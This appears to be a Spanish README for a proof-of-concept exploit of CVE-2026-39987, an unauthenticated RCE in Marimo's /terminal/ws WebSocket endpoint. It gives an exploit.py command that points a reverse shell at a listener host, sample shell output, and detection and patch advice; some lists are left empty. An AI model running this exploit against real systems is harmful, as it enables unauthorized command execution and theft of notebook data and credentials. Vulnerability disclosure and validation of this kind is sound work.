
Exploit de prueba de concepto para RCE de Marimo sin autenticación previa. Utiliza el endpoint WebSocket no autenticado /terminal/ws para generar un PTY y establecer una shell reversa.
CVE-2026-39987 es una vulnerabilidad crítica de ejecución remota de código (RCE) pre-autenticación que afecta a Marimo, un entorno de notebooks Python reactivo.
La vulnerabilidad existe en el endpoint WebSocket de terminal de Marimo:
/terminal/ws
El endpoint no aplicaba correctamente la autenticación antes de crear una sesión de terminal. Como resultado, un atacante remoto no autenticado capaz de alcanzar una instancia vulnerable de Marimo puede establecer una conexión WebSocket y obtener un shell PTY interactivo.
No se requieren credenciales válidas.
| Propiedad | Valor |
|---|---|
| CVE | CVE-2026-39987 |
| Producto | Marimo |
| Vulnerabilidad | Ejecución remota de código pre-autenticación |
| Vector de ataque | Red |
| Autenticación | No requerida |
| Interacción del usuario | No requerida |
| CWE | CWE-306 — Ausencia de autenticación para función crítica |
| Severidad | Crítica |
| Versión corregida | 0.23.0 |
La vulnerabilidad fue causada por una aplicación inconsistente de la autenticación entre los endpoints WebSocket de Marimo.
Mientras que otras funcionalidades WebSocket realizan validación de autenticación, el endpoint vulnerable /terminal/ws podía aceptar una conexión sin validar primero a quien la solicitaba.
El endpoint de terminal vulnerable crea un PTY interactivo después de aceptar una conexión WebSocket.
Conceptualmente, el flujo de solicitud vulnerable es:
Cliente remoto
|
| Conexión WebSocket
v
/terminal/ws
|
| Falta validación de autenticación
v
WebSocket aceptado
|
v
PTY creado
|
v
Shell interactivo
El límite de seguridad importante es la falta de comprobación de autenticación.
Un endpoint que expone ejecución arbitraria de comandos no debe permitir que un cliente no autenticado alcance la lógica de creación del PTY.
Una explotación exitosa puede proporcionar ejecución arbitraria de comandos con los privilegios del proceso de Marimo.
Dependiendo de la configuración del despliegue, esto puede permitir a un atacante:
El impacto es particularmente significativo para entornos de notebooks porque comúnmente tienen acceso a conjuntos de datos, APIs, credenciales, recursos en la nube e infraestructura de desarrollo.
Advertencia: Ejecute el PoC únicamente contra sistemas que le pertenezcan o para los que tenga autorización explícita de prueba.
Este repositorio contiene un PoC para demostrar la vulnerabilidad en un entorno controlado.
El ejemplo siguiente demuestra la explotación contra una instancia local/de laboratorio.
Por ejemplo:
http://127.0.0.1:8081
La instancia vulnerable de Marimo debe estar ejecutándose antes de lanzar el PoC.
Ejemplo:
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
Donde:
-u Instancia objetivo de Marimo
--host IP del listener
--port Puerto del listener
El PoC establece la conexión de terminal vulnerable y espera la conexión de shell resultante.
Salida de ejemplo:
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
Después de una explotación exitosa, el atacante recibe un shell que se ejecuta con los privilegios del proceso de Marimo.
whoami
Ejemplo:
marimo
id
Ejemplo:
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
Esto demuestra que se están ejecutando comandos arbitrarios de forma remota como la cuenta marimo.
El PoC también puede demostrar el acceso al sistema de archivos disponible para el proceso comprometido.
ls -la
Ejemplo:
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
Moviéndose a la raíz del sistema de archivos:
cd /
ls
Ejemplo:
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
Esto confirma que el shell remoto tiene acceso normal al sistema de archivos, sujeto a los privilegios y restricciones de contenedor del proceso de Marimo.
La cadena completa de la vulnerabilidad se puede resumir como:
1. El atacante descubre una instancia expuesta de Marimo
|
v
2. El atacante se conecta a /terminal/ws
|
v
3. La autenticación no se aplica
|
v
4. Se acepta la conexión WebSocket
|
v
5. Se crea el terminal PTY
|
v
6. El atacante obtiene ejecución de comandos
|
v
7. Los comandos se ejecutan como el proceso de Marimo
El fallo de seguridad crítico ocurre en el paso 3.
Los indicadores potenciales de explotación incluyen conexiones WebSocket inesperadas a:
/terminal/ws
y actividad de procesos inusual originada en el servidor de Marimo.
Los defensores deben investigar:
Actualice Marimo a una versión corregida:
0.23.0 o posterior
Adicionalmente:
/terminal/ws.CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
Este proyecto se proporciona con fines de investigación de seguridad, validación de vulnerabilidades y educación. No utilice el PoC contra sistemas que no le pertenezcan o para los que no tenga autorización explícita de prueba.